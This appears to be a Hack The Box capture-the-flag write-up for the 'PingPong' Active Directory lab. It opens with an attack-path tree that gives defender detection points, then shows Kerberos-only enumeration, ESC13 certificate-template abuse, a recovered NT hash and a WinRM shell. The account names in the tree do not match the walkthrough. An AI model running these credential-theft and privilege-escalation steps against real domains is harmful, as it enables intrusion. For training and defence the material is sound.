POSTS

HTB: PingPong

PingPong is an Insane-rated Windows machine presenting two Active Directory forests, ping.htb and pong.htb, linked by a cross-forest trust in akerberos-only environment where NTLM is disabled outright. The road to the first flag runs through group-managed service accounts, a group-type conversion trick to enroll a foreign security principal, and credentials recovered from a restricted JEA endpoint. The second half covers post-exploitation on the second domain controller: RBCD against a service account, SQL Server abuse plus a potato-style escalation for local SYSTEM, and domain replication to harvest AES keys. The finale returns to the first forest to convert ownership of a smart card authentication template into full domain control, with an alternate root path through Read-Only Domain Controller compromise and a KeyList attack.

HTB: PingPong
10519 words · 50 min

Overview

  • Type Machines
  • Direct Link PingPong
  • OS Windows
  • Severity Insane
  • Creator Geiseric
  • Release date 2026 Apr 26 (JST)

Information

As is common in real life pentests, you will start the PingPong box with credentials for the following account:

c.roberts / AssumedBreach123

Attack paths

Below you can found the full attack paths for both Offensive and Defenders sides (detection points, affected objects, why each step works).

Initial Foothold (j.arbuckle)
│
├─ BloodyAD ACL enumeration from j.arbuckle context
│   → j.arbuckle has WRITE on scriptPath attribute of l.wilson
│   [Detection: 4662 (object access) on l.wilson if auditing ACL reads;
│    unusual LDAP queries enumerating msDS-* / nTSecurityDescriptor]
│
├─ Craft malicious logon script
│   ├─ Reverse shell payload wrapped as .bat
│   └─ Upload payload to SYSVOL (NETLOGON share)
│       [Detection: file creation/modify events on \\DC\SYSVOL\...\scripts;
│        FIM/EDR on NETLOGON share is high-value and often unmonitored]
│
└─ Set l.wilson's scriptPath via BloodyAD
    → points to uploaded .bat on next logon
    [Detection: 5136 (directory service object modified) on l.wilson,
     attribute = scriptPath]

Lateral Movement (l.wilson)
│
├─ l.wilson logon triggers scriptPath execution
│   → reverse shell callback as l.wilson
│   [Detection: 4688 process creation — cmd.exe/powershell.exe spawned
│    by userinit/logon at workstation; outbound connection from
│    non-standard process immediately post-logon]
│
└─ Abuse granted ForceChangePassword right
    → reset l.wilson_adm's password
    [Detection: 4724 (password reset attempt) where requestor ≠ helpdesk/
     admin group; ForceChangePassword ACE itself should be flagged in
     periodic ACL review as non-standard]

User Flag (l.wilson_adm)
│
├─ evil-winrm authentication as l.wilson_adm
│   → interactive shell
│   [Detection: 4624 logon type 3 (WinRM/5985) from unusual source host;
│    WinRM usage by non-admin-tier accounts]
│
└─ cat user.txt → 👤 user.txt

Privilege Escalation — RODC Compromise
│
├─ Add l.wilson_adm to RODC Administrators group
│   [Detection: 4728/4732 group membership change — RODC admin group
│    changes should be rare and alertable by default]
│
├─ Configure RBCD on RODC01
│   → l.wilson_adm granted delegated access via
│     msDS-AllowedToActOnBehalfOfOtherIdentity
│   [Detection: 5136 modify on RODC01 computer object,
│    attribute = msDS-AllowedToActOnBehalfOfOtherIdentity — this attribute
│    changing on ANY computer object is a strong, low-noise alert]
│
├─ psexec.py using delegated/forged ticket
│   → SYSTEM on RODC01
│   [Detection: 4624 logon type 3 + 4672 (special privileges) + service
│    creation (7045) consistent with psexec-style lateral movement]
│
└─ Mimikatz on RODC01\SYSTEM
    → dump krbtgt_8245 (RODC-specific krbtgt) AES256 key
    [Detection: LSASS access (4656/Sysmon 10) from non-standard process;
     EDR credential-dumping signatures on lsass.exe]

Golden Ticket via RODC (root path)
│
├─ PowerView attribute manipulation
│   ├─ Add target principal to msDS-RevealOnDemandGroup
│   └─ Clear msDS-NeverRevealGroup entries
│   [Detection: 5136 on RODC01 computer object for both attributes —
│    these should almost never change post-deployment; treat as
│    tripwire attributes in SIEM]
│
├─ Rubeus: forge RODC Golden Ticket (signed with krbtgt_8245)
│   [Detection: 4768 TGT request with anomalous encryption type/lifetime;
│    ticket issued "by" RODC for principal not normally serviced by it]
│
├─ KeyList attack (RODC krbtgt → DC krbtgt key translation)
│   → extracts Administrator's real key via RODC-to-DC trust path
│   [Detection: 4768/4769 traffic between RODC01 and a writable DC
│    requesting key material for Tier-0 accounts — RODCs should never
│    be resolving credentials for Domain Admins]
│
└─ Forge/request Administrator TGS → DCSync or shell as Administrator
    → 🚩 root.txt
    [Detection: 4662 DCSync-style replication request (DS-Replication-
     Get-Changes) from a non-DC source — classic DCSync alert]

Enumeration

Nmap

$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.129.xx.xx
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-26 20:07 +0900
Nmap scan report for 10.129.xx.xx
Host is up (0.26s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-26 11:08:56Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Not valid before: 2026-04-20T18:54:50
|_Not valid after:  2106-04-20T18:54:50
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Not valid before: 2026-04-20T18:54:50
|_Not valid after:  2106-04-20T18:54:50
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Not valid before: 2026-04-20T18:54:50
|_Not valid after:  2106-04-20T18:54:50
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Not valid before: 2026-04-20T18:54:50
|_Not valid after:  2106-04-20T18:54:50
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49335/tcp open  msrpc         Microsoft Windows RPC
49429/tcp open  msrpc         Microsoft Windows RPC
49433/tcp open  msrpc         Microsoft Windows RPC
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
58281/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Add to /etc/hosts: echo ‘10.129.xx.xx dc1.ping.htb ping.htb’ | sudo tee -a /etc/hosts

We found a Domain Controller of the domain ping.htb but this open port 2179/tcp is not common.

Try to authenticate:

$ nxc smb dc1.ping.htb -u 'c.roberts' -p 'AssumedBreach123'
SMB         10.129.xx.xx    445    dc1              [*]  x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         10.129.xx.xx    445    dc1              [-] ping.htb\c.roberts:AssumedBreach123 STATUS_NOT_SUPPORTED 

NTLM is disabled then KERBEROS only can be used.

Disable NTP autoupdate then sync our time with the DC time:

$ sudo ntpdate -u dc1.ping.htb && date
2026-04-26 20:14:11.545332 (+0900) -104.005452 +/- 0.124266 dc1.ping.htb 10.129.xx.xx s1 no-leap
CLOCK: time stepped by -104.005452
Sun Apr 26 08:14:11 PM JST 2026

Generate the krb5.conf file:

$ nxc smb dc1.ping.htb -u 'c.roberts' -p 'AssumedBreach123' -k --generate-krb5-file krb5.conf 
SMB         dc1.ping.htb    445    dc1              [*]  x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc1.ping.htb    445    dc1              [+] krb5 conf saved to: krb5.conf
SMB         dc1.ping.htb    445    dc1              [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB         dc1.ping.htb    445    dc1              [+] ping.htb\c.roberts:AssumedBreach123 
$ sudo cp krb5.conf /etc/krb5.conf

SMB Shared folder & Users (445/tcp)

Enumerate the SMB shares:

$ nxc smb dc1.ping.htb -u 'c.roberts' -p 'AssumedBreach123' -k --shares                      
SMB         dc1.ping.htb    445    dc1              [*]  x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc1.ping.htb    445    dc1              [+] ping.htb\c.roberts:AssumedBreach123 
SMB         dc1.ping.htb    445    dc1              [*] Enumerated shares
SMB         dc1.ping.htb    445    dc1              Share           Permissions     Remark
SMB         dc1.ping.htb    445    dc1              -----           -----------     ------
SMB         dc1.ping.htb    445    dc1              ADMIN$                          Remote Admin
SMB         dc1.ping.htb    445    dc1              C$                              Default share
SMB         dc1.ping.htb    445    dc1              IPC$            READ            Remote IPC
SMB         dc1.ping.htb    445    dc1              NETLOGON        READ            Logon server share 
SMB         dc1.ping.htb    445    dc1              SYSVOL          READ            Logon server share 

We have READ access on SYSVOL, that means domain logon scripts can be found in ping.htb\scripts\

Let’s dig into:

$ pipx install smbclientng
$ smbclientng -d ping.htb -u 'c.roberts' -p 'AssumedBreach123' -k --kdcHost dc1.ping.htb --host dc1.ping.htb
               _          _ _            _
 ___ _ __ ___ | |__   ___| (_) ___ _ __ | |_      _ __   __ _
/ __| '_ ` _ \| '_ \ / __| | |/ _ \ '_ \| __|____| '_ \ / _` |
\__ \ | | | | | |_) | (__| | |  __/ | | | ||_____| | | | (_| |
|___/_| |_| |_|_.__/ \___|_|_|\___|_| |_|\__|    |_| |_|\__, |
    by @podalirius_                             v3.0.0  |___/
    
[+] Successfully authenticated to 'dc1.ping.htb' as 'ping.htb\c.roberts'!
■[\\dc1.ping.htb\]> use SYSVOL
■[\\dc1.ping.htb\SYSVOL\]> tree
└── ping.htb/
    ├── DfsrPrivate/
[error] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.. Base path: .\ping.htb\DfsrPrivate
    ├── Policies/
    │   ├── {1CC74A36-56D8-47EE-8466-FBED8D4A44A5}/
    │   │   ├── Machine/
    │   │   │   ├── Microsoft/
    │   │   │   │   └── Windows NT/
    │   │   │   │       └── SecEdit/
    │   │   │   │           └── GptTmpl.inf
    │   │   │   └── Scripts/
    │   │   │       ├── Shutdown/
    │   │   │       └── Startup/
    │   │   ├── User/
    │   │   └── GPT.INI
    │   ├── {31B2F340-016D-11D2-945F-00C04FB984F9}/
    │   │   ├── MACHINE/
    │   │   │   ├── Microsoft/
    │   │   │   │   └── Windows NT/
    │   │   │   │       └── SecEdit/
    │   │   │   │           └── GptTmpl.inf
    │   │   │   └── Registry.pol
    │   │   ├── USER/
    │   │   └── GPT.INI
    │   └── {6AC1786C-016F-11D2-945F-00C04fB984F9}/
    │       ├── MACHINE/
    │       │   ├── Microsoft/
    │       │   │   └── Windows NT/
    │       │   │       └── SecEdit/
    │       │   │           └── GptTmpl.inf
    │       │   └── Scripts/
    │       │       ├── Shutdown/
    │       │       └── Startup/
    │       ├── USER/
    │       └── GPT.INI
    └── scripts/
■[\\dc1.ping.htb\SYSVOL\]> quit

Nothing in the scripts folder.

Enumerate the users:

$ nxc smb dc1.ping.htb -u 'c.roberts' -p 'AssumedBreach123' -k --users                                      
SMB         dc1.ping.htb    445    dc1              [*]  x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc1.ping.htb    445    dc1              [+] ping.htb\c.roberts:AssumedBreach123 
SMB         dc1.ping.htb    445    dc1              -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         dc1.ping.htb    445    dc1              Administrator                 2026-02-03 09:42:36 0       Built-in account for administering the computer/domain 
SMB         dc1.ping.htb    445    dc1              Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         dc1.ping.htb    445    dc1              krbtgt                        2025-06-16 11:36:47 0       Key Distribution Center Service Account 
SMB         dc1.ping.htb    445    dc1              M.Russell                     2025-12-27 08:14:51 0       IT manager 
SMB         dc1.ping.htb    445    dc1              G.Lorents                     2025-12-27 08:14:51 0       IT Support Specialist 
SMB         dc1.ping.htb    445    dc1              Z.Iskam                       2025-12-27 08:14:51 0       IT Director 
SMB         dc1.ping.htb    445    dc1              M.Wallace                     2025-12-27 08:14:51 0       Assurance Tester 
SMB         dc1.ping.htb    445    dc1              P.Paul                        2025-12-27 08:14:52 0       Security Specialist 
SMB         dc1.ping.htb    445    dc1              A.Gordon                      2025-12-27 08:14:52 0       Network Engineer 
SMB         dc1.ping.htb    445    dc1              P.Klain                       2025-12-27 08:14:52 0       Senior IT Technician 
SMB         dc1.ping.htb    445    dc1              C.Roberts                     2025-12-27 08:14:52 0       Junior IT Technician 
SMB         dc1.ping.htb    445    dc1              S.Zhoski                      2026-01-17 14:42:20 0        
SMB         dc1.ping.htb    445    dc1              R.Miller                      2026-01-17 14:42:20 0        
SMB         dc1.ping.htb    445    dc1              A.Adam                        2026-01-17 14:42:20 0        
SMB         dc1.ping.htb    445    dc1              R.Robins                      2026-01-17 14:42:20 0        
SMB         dc1.ping.htb    445    dc1              P.Pollek                      2026-01-17 14:42:20 0        
SMB         dc1.ping.htb    445    dc1              O.Plinski                     2026-01-17 14:42:20 0        
SMB         dc1.ping.htb    445    dc1              V.Vodomir                     2026-01-17 14:42:21 0        
SMB         dc1.ping.htb    445    dc1              D.MacKenzie                   2026-01-17 14:42:21 0        
SMB         dc1.ping.htb    445    dc1              P.Vandeval                    2026-01-17 14:42:21 0        
SMB         dc1.ping.htb    445    dc1              T.Yang                        2026-01-17 14:42:21 0        
SMB         dc1.ping.htb    445    dc1              N.Neri                        2026-01-17 14:42:21 0        
SMB         dc1.ping.htb    445    dc1              W.Williams                    2026-01-17 14:42:21 0        
SMB         dc1.ping.htb    445    dc1              K.Podroski                    2026-01-17 14:42:21 0        
SMB         dc1.ping.htb    445    dc1              G.James                       2026-01-17 14:42:21 0        
SMB         dc1.ping.htb    445    dc1              [*] Enumerated 25 local users: PING

BloodHound on PING

Generate a TGT:

$ nxc smb dc1.ping.htb -u 'c.roberts' -p 'AssumedBreach123' -k --generate-tgt c.roberts
SMB         dc1.ping.htb    445    dc1              [*]  x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc1.ping.htb    445    dc1              [+] ping.htb\c.roberts:AssumedBreach123 
SMB         dc1.ping.htb    445    dc1              [+] TGT saved to: c.roberts.ccache
SMB         dc1.ping.htb    445    dc1              [+] Run the following command to use the TGT: export KRB5CCNAME=c.roberts.ccache

OR

$ impacket-getTGT 'ping.htb/c.roberts:AssumedBreach123' -dc-ip 10.129.xx.xx
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in c.roberts.ccache

Ingest it on our current session:

$ export KRB5CCNAME=c.roberts.ccache
$ klist
Ticket cache: FILE:c.roberts.ccache
Default principal: c.roberts@PING.HTB

Valid starting       Expires              Service principal
04/26/2026 20:42:45  04/27/2026 06:42:45  krbtgt/PING.HTB@PING.HTB
	renew until 04/27/2026 20:42:44

Start our BH collection:

$ nxc ldap dc1.ping.htb --use-kcache --kdcHost dc1.ping.htb --dns-server 10.129.xx.xx --bloodhound --collection All                     
LDAP        dc1.ping.htb    389    DC1              [*] None (name:DC1) (domain:PING.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        dc1.ping.htb    389    DC1              [+] PING.HTB\c.roberts from ccache 
LDAP        dc1.ping.htb    389    DC1              Resolved collection methods: group, acl, objectprops, container, psremote, dcom, trusts, rdp, localadmin, session
LDAP        dc1.ping.htb    389    DC1              Using kerberos auth from ccache
LDAP        dc1.ping.htb    389    DC1              [-] BloodHound collection failed: LDAPUnknownAuthenticationMethodError - NTLM needs domain\username and a password
Warning
  • This BUG is referenced at NetExec - Pull 754 and caused by NetExec that still fall back to NTLM in BloodHound’s ingestor.

Switch then to Python BloodHound-CE

$ bloodhound-ce-python -d ping.htb -u c.roberts -no-pass -k --auth-method kerberos --use-ldaps -dc dc1.ping.htb -ns 10.129.xx.xx -c All --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: ping.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc1.ping.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to GC LDAP server: dc1.ping.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Connecting to LDAP server: dc1.ping.htb
INFO: Found 27 users
INFO: Found 57 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc1.ping.htb
INFO: Done in 00M 53S

OR

$ ./rusthound-ce -d ping.htb -u c.roberts@ping.htb -k -f dc1.ping.htb -i 10.129.xx.xx -n 10.129.xx.xx --dns-tcp --ldaps -z
---------------------------------------------------
Initializing RustHound-CE at 17:14:36 on 04/30/26
Powered by @g0h4n_0
---------------------------------------------------

[2026-04-30T08:14:36Z INFO  rusthound_ce] Verbosity level: Info
[2026-04-30T08:14:36Z INFO  rusthound_ce] Collection method: All
[2026-04-30T08:14:38Z INFO  rusthound_ce::ldap] Connected to PING.HTB Active Directory!
[2026-04-30T08:14:38Z INFO  rusthound_ce::ldap] Starting data collection...
[2026-04-30T08:14:38Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-30T08:14:45Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ping,DC=htb
[2026-04-30T08:14:45Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-30T08:15:18Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=ping,DC=htb
[2026-04-30T08:15:18Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-30T08:15:47Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=ping,DC=htb
[2026-04-30T08:15:47Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-30T08:15:51Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=ping,DC=htb
[2026-04-30T08:15:51Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-30T08:15:52Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=ping,DC=htb
[2026-04-30T08:15:52Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
[2026-04-30T08:15:52Z INFO  rusthound_ce::objects::enterpriseca] Found 13 enabled certificate templates
[2026-04-30T08:15:52Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 28 users parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 65 groups parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 1 computers parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 1 ous parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 2 domains parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 3 gpos parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 74 containers parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 1 aiacas parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 1 rootcas parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 35 certtemplates parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] 4 issuancepolicies parsed!
[2026-04-30T08:15:52Z INFO  rusthound_ce::json::maker::common] .//20260430171552_ping-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 17:15:52 on 04/30/26! Happy Graphing!

Active Directory assessing - PING

We use GriffonAD for a quick analysis:

$ git clone https://github.com/shellinvictus/GriffonAD                                                 
$ cd GriffonAD 
$ pipx install .          
  installed package griffon 0.6.22, installed using Python 3.13.12
  These apps are now available
    - griffon
done! ✨ 🌟 ✨
$ cd ..
$ griffon ping.htb_bloodhound.zip 
[+] extracting ping.htb_bloodhound.zip
[+] found 7 JSON files in zip

♦USER the user is an admin
★USER there is a path to gain admin privileges
USER the user is owned
USER the user is disabled
A  admincount is set (this flag doesn't tell that the user is an admin, it could be an old admin)
K  the user may be Kerberoastable (at least one SPN is set)
N  DONT_REQUIRE_PREAUTH (ASREPRoastable)
P  the user is in the Protected group
!R PASSWORD_NOTREQUIRED (it means the password can be empty)
S  SENSITIVE
T  TRUSTED_TO_AUTH_FOR_DELEGATION (it means you can impersonate to admin in constrained delegations)
!X DONT_EXPIRE_PASSWORD

♦ADMINISTRATOR A S !X
    < DENIED RODC PASSWORD REPLICATION GROUP
    < GROUP POLICY CREATOR OWNERS
    < SCHEMA ADMINS
    < ♦ENTERPRISE ADMINS
    < ♦DOMAIN ADMINS
    < ♦BUILTIN\ADMINISTRATORS
    GenericAll(♦PING.HTB)
★DC1$ K
    < DENIED RODC PASSWORD REPLICATION GROUP
    < BUILTIN\PRE-WINDOWS 2000 COMPATIBLE ACCESS
    < BUILTIN\WINDOWS AUTHORIZATION ACCESS GROUP
    < BUILTIN\ENTERPRISE DOMAIN CONTROLLERS
    < CERT PUBLISHERS
    GetChanges_GetChangesInFilteredSet(♦PING.HTB)
    AllowedToDelegate(many)

Nothing is interesting

Check with BHCE:

2 domains PING.HTB and PONG.HTB have a cross-forest trust relationship with each other.

c.roberts can read the password of PING\GMSA$.

Hummm curious, I have nothing related to PKI, maybe an issue during the collection, let’s then try enumeration with Netexec.

List All PKI Enrollment Servers:

$ nxc ldap dc1.ping.htb --use-kcache --kdcHost dc1.ping.htb -M adcs                                                   
LDAP        dc1.ping.htb    389    DC1              [*] None (name:DC1) (domain:PING.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        dc1.ping.htb    389    DC1              [+] PING.HTB\c.roberts from ccache 
ADCS        dc1.ping.htb    389    DC1              [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        dc1.ping.htb    389    DC1              Found PKI Enrollment Server: dc1.ping.htb
ADCS        dc1.ping.htb    389    DC1              Found CN: ping-DC1-CA

Found ADCS ping-DC1-CA

Check if any active certificate template is vulnerable:

$ certipy-ad find -k -no-pass -target dc1.ping.htb -dc-ip 10.129.xx.xx -enabled -vulnerable -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 1 OID linked to a template
[*] Retrieving CA configuration for 'ping-DC1-CA' via RRP
[-] Failed to connect to remote registry: [Errno Connection error (192.168.2.1:445)] timed out
[-] Use -debug to print a stacktrace
[!] Failed to get CA configuration for 'ping-DC1-CA' via RRP: 'NoneType' object has no attribute 'request'
[!] Use -debug to print a stacktrace
[!] Could not retrieve configuration for 'ping-DC1-CA'
[*] Checking web enrollment for CA 'ping-DC1-CA' @ 'dc1.ping.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : ping-DC1-CA
    DNS Name                            : dc1.ping.htb
    Certificate Subject                 : CN=ping-DC1-CA, DC=ping, DC=htb
    Certificate Serial Number           : 6F8E726EEFA64B894CE82D498BC27632
    Certificate Validity Start          : 2026-04-20 18:54:41+00:00
    Certificate Validity End            : 2126-04-20 19:04:41+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
    Active Policy                       : Unknown
    Disabled Extensions                 : Unknown
Certificate Templates
  0
    Template Name                       : TemporaryWinRM
    Display Name                        : Temporary WinRM
    Certificate Authorities             : ping-DC1-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-12-23T17:19:28+00:00
    Template Last Modified              : 2025-12-27T21:12:15+00:00
    Issuance Policies                   : 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623
    Linked Groups                       : CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb
    Permissions
      Enrollment Permissions
        Enrollment Rights               : PING.HTB\Domain Admins
                                          PING.HTB\Domain Users
                                          PING.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : PING.HTB\Administrator
        Full Control Principals         : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        Write Owner Principals          : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        Write Dacl Principals           : PING.HTB\Domain Admins
                                          PING.HTB\Enterprise Admins
        Write Property Enroll           : PING.HTB\Domain Admins
                                          PING.HTB\Domain Users
                                          PING.HTB\Enterprise Admins
    [+] User Enrollable Principals      : PING.HTB\Domain Users
    [!] Vulnerabilities
      ESC13                             : Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb'.

TemporaryWinRM template is vulnerable to ESC13

PING\DC01

ADCS ESC13 abusing

If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.

We can model the required relationships for ESC13 like this:

In our case: c.roberts –enrollment rights–> TemporaryWinRM –issuance policy–> 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623 –group link–> TempWinRMAccess

Let’s abuse it.

  • Request a certificate of the certificate template TemporaryWinRM as user c.roberts:
$ certipy-ad req -k -no-pass -target dc1.ping.htb -dc-host dc1.ping.htb -ns 10.129.xx.xx -ca ping-DC1-CA -template TemporaryWinRM -out c.roberts_esc13   
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 17
[*] Successfully requested certificate
[*] Got certificate with UPN 'C.Roberts@ping.htb'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-2617'
[*] Saving certificate and private key to 'c.roberts_esc13.pfx'
[*] Wrote certificate and private key to 'c.roberts_esc13.pfx'
  • Authenticate using the certificate:
$ certipy-ad auth -pfx c.roberts_esc13.pfx -dc-ip 10.129.xx.xx -domain ping.htb -username c.roberts
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'C.Roberts@ping.htb'
[*]     Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-2617'
[*] Using principal: 'c.roberts@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'c.roberts.ccache'
File 'c.roberts.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): n
[*] Wrote credential cache to 'c.roberts_06840164-7159-4c34-9963-7a81cd530558.ccache'
[*] Trying to retrieve NT hash for 'c.roberts'
[*] Got hash for 'c.roberts@ping.htb': aad3b435b51404eeaad3b435b51404ee:2475be69d40e815588a85fd89c7a439d
$ mv c.roberts_06840164-7159-4c34-9963-7a81cd530558.ccache c.roberts_esc13.ccache 
$ export KRB5CCNAME=c.roberts_esc13.ccache
$ klist
Ticket cache: FILE:c.roberts_esc13.ccache
Default principal: c.roberts@PING.HTB

Valid starting       Expires              Service principal
04/26/2026 23:51:28  04/27/2026 09:51:28  krbtgt/PING.HTB@PING.HTB
	renew until 04/27/2026 23:51:21

Now then we should be able to login to DC1 with WinRM:

$ python3 winrmexec/evil_winrmexec.py 'ping.htb/c.roberts@dc1.ping.htb' -no-pass -k -dc-ip 10.129.xx.xx -target-ip 10.129.xx.xx -spn HTTP/dc1.ping.htb
PS C:\Users\C.Roberts\Documents>
PS C:\Users\C.Roberts\Documents> ls ..\Desktop

Access OK but no User flag.

List users who have been connected to the DC1 and have a profile:

PS C:\Users\C.Roberts\Documents> ls ..\..


    Directory: C:\Users


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
d-----         3/16/2026   9:15 PM                Administrator                                                         
d-----         4/27/2026   3:39 AM                C.Roberts                                                             
d-----         4/11/2026   6:41 AM                Pong_gMSA$                                                            
